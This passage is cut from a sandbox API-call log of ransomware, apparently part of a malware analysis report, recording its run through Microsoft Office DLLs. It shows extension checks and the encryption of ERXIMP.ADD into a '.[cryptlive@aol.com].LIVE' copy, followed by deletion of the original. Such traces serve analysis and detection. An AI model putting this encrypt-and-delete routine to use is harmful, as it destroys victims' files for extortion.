(lpString=".xls") returned 4 [0154.770] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.770] lstrlenW (lpString=".xlsx") returned 5 [0154.770] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0154.770] lstrlenW (lpString=".ppt") returned 4 [0154.770] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.770] lstrlenW (lpString=".zip") returned 4 [0154.770] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.770] lstrlenW (lpString=".rar") returned 4 [0154.770] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.770] lstrlenW (lpString=".bz2") returned 4 [0154.770] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.770] lstrlenW (lpString=".7z") returned 3 [0154.770] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.770] lstrlenW (lpString=".dbf") returned 4 [0154.770] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.770] lstrlenW (lpString=".1cd") returned 4 [0154.770] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.770] lstrlenW (lpString=".jpg") returned 4 [0154.770] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.770] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0154.770] lstrlenW (lpString="EntityDataHandler.dll") returned 21 [0154.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.786] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=62336) returned 1 [0154.786] CloseHandle (hObject=0x314) returned 1 [0154.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll")) returned 0x20 [0154.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.818] lstrlenW (lpString=".doc") returned 4 [0154.818] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.818] lstrlenW (lpString=".docx") returned 5 [0154.818] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0154.832] lstrlenW (lpString=".pdf") returned 4 [0154.832] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.832] lstrlenW (lpString=".xls") returned 4 [0154.832] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.832] lstrlenW (lpString=".xlsx") returned 5 [0154.849] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0154.850] lstrlenW (lpString=".ppt") returned 4 [0154.850] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.850] lstrlenW (lpString=".zip") returned 4 [0154.850] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.850] lstrlenW (lpString=".rar") returned 4 [0154.850] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.850] lstrlenW (lpString=".bz2") returned 4 [0154.850] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.850] lstrlenW (lpString=".7z") returned 3 [0154.850] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.850] lstrlenW (lpString=".dbf") returned 4 [0154.850] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.850] lstrlenW (lpString=".1cd") returned 4 [0154.850] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.850] lstrlenW (lpString=".jpg") returned 4 [0154.850] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.851] lstrlenW (lpString=".doc") returned 4 [0154.851] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.851] lstrlenW (lpString=".docx") returned 5 [0154.851] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0154.851] lstrlenW (lpString=".pdf") returned 4 [0154.851] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.851] lstrlenW (lpString=".xls") returned 4 [0154.851] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.851] lstrlenW (lpString=".xlsx") returned 5 [0154.851] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0154.851] lstrlenW (lpString=".ppt") returned 4 [0154.851] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.851] lstrlenW (lpString=".zip") returned 4 [0154.851] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.851] lstrlenW (lpString=".rar") returned 4 [0154.851] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.851] lstrlenW (lpString=".bz2") returned 4 [0154.851] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.851] lstrlenW (lpString=".7z") returned 3 [0154.851] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.851] lstrlenW (lpString=".dbf") returned 4 [0154.851] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.851] lstrlenW (lpString=".1cd") returned 4 [0154.851] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0154.851] lstrlenW (lpString=".jpg") returned 4 [0154.851] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.851] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0154.851] lstrlenW (lpString="EntityPicker.dll") returned 16 [0154.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.852] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=268672) returned 1 [0154.852] CloseHandle (hObject=0x384) returned 1 [0154.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll")) returned 0x20 [0154.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.853] lstrlenW (lpString=".doc") returned 4 [0154.853] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.853] lstrlenW (lpString=".docx") returned 5 [0154.853] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0154.853] lstrlenW (lpString=".pdf") returned 4 [0154.853] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.853] lstrlenW (lpString=".xls") returned 4 [0154.853] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.853] lstrlenW (lpString=".xlsx") returned 5 [0154.853] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0154.853] lstrlenW (lpString=".ppt") returned 4 [0154.853] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.853] lstrlenW (lpString=".zip") returned 4 [0154.853] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.853] lstrlenW (lpString=".rar") returned 4 [0154.853] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.853] lstrlenW (lpString=".bz2") returned 4 [0154.853] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.853] lstrlenW (lpString=".7z") returned 3 [0154.853] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.854] lstrlenW (lpString=".dbf") returned 4 [0154.854] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.854] lstrlenW (lpString=".1cd") returned 4 [0154.854] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.854] lstrlenW (lpString=".jpg") returned 4 [0154.854] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.854] lstrlenW (lpString=".doc") returned 4 [0154.854] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.854] lstrlenW (lpString=".docx") returned 5 [0154.854] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0154.854] lstrlenW (lpString=".pdf") returned 4 [0154.854] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.854] lstrlenW (lpString=".xls") returned 4 [0154.854] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.854] lstrlenW (lpString=".xlsx") returned 5 [0154.854] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0154.854] lstrlenW (lpString=".ppt") returned 4 [0154.854] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.854] lstrlenW (lpString=".zip") returned 4 [0154.854] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.854] lstrlenW (lpString=".rar") returned 4 [0154.854] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.854] lstrlenW (lpString=".bz2") returned 4 [0154.854] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.854] lstrlenW (lpString=".7z") returned 3 [0154.855] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.855] lstrlenW (lpString=".dbf") returned 4 [0154.855] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.855] lstrlenW (lpString=".1cd") returned 4 [0154.855] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0154.855] lstrlenW (lpString=".jpg") returned 4 [0154.855] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.855] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.855] lstrlenW (lpString="ENVELOPE.DLL") returned 12 [0154.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.856] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=219520) returned 1 [0154.856] CloseHandle (hObject=0x384) returned 1 [0154.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll")) returned 0x20 [0154.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.856] lstrlenW (lpString=".doc") returned 4 [0154.856] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.857] lstrlenW (lpString=".docx") returned 5 [0154.857] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0154.857] lstrlenW (lpString=".pdf") returned 4 [0154.857] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.857] lstrlenW (lpString=".xls") returned 4 [0154.857] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.857] lstrlenW (lpString=".xlsx") returned 5 [0154.857] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0154.857] lstrlenW (lpString=".ppt") returned 4 [0154.857] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.857] lstrlenW (lpString=".zip") returned 4 [0154.857] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.857] lstrlenW (lpString=".rar") returned 4 [0154.857] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.857] lstrlenW (lpString=".bz2") returned 4 [0154.857] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.857] lstrlenW (lpString=".7z") returned 3 [0154.857] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.857] lstrlenW (lpString=".dbf") returned 4 [0154.857] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.857] lstrlenW (lpString=".1cd") returned 4 [0154.857] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.857] lstrlenW (lpString=".jpg") returned 4 [0154.857] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.857] lstrlenW (lpString=".doc") returned 4 [0154.857] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.857] lstrlenW (lpString=".docx") returned 5 [0154.857] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0154.857] lstrlenW (lpString=".pdf") returned 4 [0154.858] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.858] lstrlenW (lpString=".xls") returned 4 [0154.858] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.858] lstrlenW (lpString=".xlsx") returned 5 [0154.858] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0154.858] lstrlenW (lpString=".ppt") returned 4 [0154.858] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.858] lstrlenW (lpString=".zip") returned 4 [0154.858] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.858] lstrlenW (lpString=".rar") returned 4 [0154.858] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.858] lstrlenW (lpString=".bz2") returned 4 [0154.858] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.858] lstrlenW (lpString=".7z") returned 3 [0154.858] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.858] lstrlenW (lpString=".dbf") returned 4 [0154.858] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.858] lstrlenW (lpString=".1cd") returned 4 [0154.858] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0154.858] lstrlenW (lpString=".jpg") returned 4 [0154.858] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.858] lstrcmpiW (lpString1=".ADD", lpString2=".LIVE") returned -1 [0154.858] lstrlenW (lpString="ERXIMP.ADD") returned 10 [0154.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.859] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=85920) returned 1 [0154.859] CloseHandle (hObject=0x384) returned 1 [0154.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add")) returned 0x20 [0154.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.860] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.860] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0154.861] GetLastError () returned 0x0 [0154.861] ReadFile (in: hFile=0x384, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x14fa0, lpOverlapped=0x0) returned 1 [0154.884] WriteFile (in: hFile=0x350, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x14fb0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x14fb0, lpOverlapped=0x0) returned 1 [0154.887] ReadFile (in: hFile=0x384, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.888] WriteFile (in: hFile=0x350, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0154.888] SetEndOfFile (hFile=0x350) returned 1 [0155.017] CloseHandle (hObject=0x350) returned 1 [0155.017] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.017] SetEndOfFile (hFile=0x384) returned 1 [0155.020] CloseHandle (hObject=0x384) returned 1 [0155.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0155.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add")) returned 1 [0155.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.023] lstrlenW (lpString=".doc") returned 4 [0155.023] lstrcmpiW (lpString1=".doc", lpString2=".ADD") returned 1 [0155.023] lstrlenW (lpString=".docx") returned 5 [0155.023] lstrcmpiW (lpString1=".docx", lpString2="P.ADD") returned -1 [0155.023] lstrlenW (lpString=".pdf") returned 4 [0155.023] lstrcmpiW (lpString1=".pdf", lpString2=".ADD") returned 1 [0155.023] lstrlenW (lpString=".xls") returned 4 [0155.023] lstrcmpiW (lpString1=".xls", lpString2=".ADD") returned 1 [0155.023] lstrlenW (lpString=".xlsx") returned 5 [0155.023] lstrcmpiW (lpString1=".xlsx", lpString2="P.ADD") returned -1 [0155.023] lstrlenW (lpString=".ppt") returned 4 [0155.023] lstrcmpiW (lpString1=".ppt", lpString2=".ADD") returned 1 [0155.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.024] lstrlenW (lpString=".zip") returned 4 [0155.024] lstrcmpiW (lpString1=".zip", lpString2=".ADD") returned 1 [0155.024] lstrlenW (lpString=".rar") returned 4 [0155.024] lstrcmpiW (lpString1=".rar", lpString2=".ADD") returned 1 [0155.024] lstrlenW (lpString=".bz2") returned 4 [0155.024] lstrcmpiW (lpString1=".bz2", lpString2=".ADD") returned 1 [0155.024] lstrlenW (lpString=".7z") returned 3 [0155.024] lstrcmpiW (lpString1=".7z", lpString2="ADD") returned -1 [0155.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.024] lstrlenW (lpString=".dbf") returned 4 [0155.024] lstrcmpiW (lpString1=".dbf", lpString2=".ADD") returned 1 [0155.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.024] lstrlenW (lpString=".1cd") returned 4 [0155.024] lstrcmpiW (lpString1=".1cd", lpString2=".ADD") returned -1 [0155.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.024] lstrlenW (lpString=".jpg") returned 4 [0155.024] lstrcmpiW (lpString1=".jpg", lpString2=".ADD") returned 1 [0155.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.024] lstrlenW (lpString=".doc") returned 4 [0155.024] lstrcmpiW (lpString1=".doc", lpString2=".ADD") returned 1 [0155.024] lstrlenW (lpString=".docx") returned 5 [0155.024] lstrcmpiW (lpString1=".docx", lpString2="P.ADD") returned -1 [0155.024] lstrlenW (lpString=".pdf") returned 4 [0155.024] lstrcmpiW (lpString1=".pdf", lpString2=".ADD") returned 1 [0155.024] lstrlenW (lpString=".xls") returned 4 [0155.024] lstrcmpiW (lpString1=".xls", lpString2=".ADD") returned 1 [0155.024] lstrlenW (lpString=".xlsx") returned 5 [0155.024] lstrcmpiW (lpString1=".xlsx", lpString2="P.ADD") returned -1 [0155.024] lstrlenW (lpString=".ppt") returned 4 [0155.024] lstrcmpiW (lpString1=".ppt", lpString2=".ADD") returned 1 [0155.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.024] lstrlenW (lpString=".zip") returned 4 [0155.024] lstrcmpiW (lpString1=".zip", lpString2=".ADD") returned 1 [0155.024] lstrlenW (lpString=".rar") returned 4 [0155.025] lstrcmpiW (lpString1=".rar", lpString2=".ADD") returned 1 [0155.025] lstrlenW (lpString=".bz2") returned 4 [0155.025] lstrcmpiW (lpString1=".bz2", lpString2=".ADD") returned 1 [0155.025] lstrlenW (lpString=".7z") returned 3 [0155.025] lstrcmpiW (lpString1=".7z", lpString2="ADD") returned -1 [0155.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.025] lstrlenW (lpString=".dbf") returned 4 [0155.025] lstrcmpiW (lpString1=".dbf", lpString2=".ADD") returned 1 [0155.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.025] lstrlenW (lpString=".1cd") returned 4 [0155.025] lstrcmpiW (lpString1=".1cd", lpString2=".ADD") returned -1 [0155.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0155.025] lstrlenW (lpString=".jpg") returned 4 [0155.025] lstrcmpiW (lpString1=".jpg", 